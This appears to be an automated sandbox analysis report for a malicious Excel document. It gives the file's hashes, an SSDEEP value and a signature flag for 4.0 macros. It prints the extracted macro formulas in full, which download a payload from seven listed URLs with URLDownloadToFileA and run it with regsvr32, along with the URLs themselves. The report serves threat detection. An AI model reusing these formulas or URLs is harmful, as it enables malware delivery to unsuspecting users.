General
-
Target
3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b
-
Size
35KB
-
MD5
c5202b9f72707434d555cd0a93f14589
-
SHA1
b07648ad3f2a6855170c949931c63ae28f098417
-
SHA256
3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b
-
SHA512
dde2632de16914b243400584a144c6494d70f832515a5ba38386e72b600654738409a644497888420931af9ba4ce4b175d636c5fe9526faef6528d98ec7de8d5
-
SSDEEP
768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i
Malware Config
Extracted
https://bb2play.com/wzzx/9tamtuJMSndL/
https://romusreselling.xyz/wordpress/bSX/
https://localart.net/wp-content/uploads/I4c5SsknUlq/
https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/
https://grchen.top/wordpress/bIGq8phSAMn/
https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/
https://sarc.in/wp-admin/9IDe7r7/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bb2play.com/wzzx/9tamtuJMSndL/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/bSX/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://localart.net/wp-content/uploads/I4c5SsknUlq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://grchen.top/wordpress/bIGq8phSAMn/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sarc.in/wp-admin/9IDe7r7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b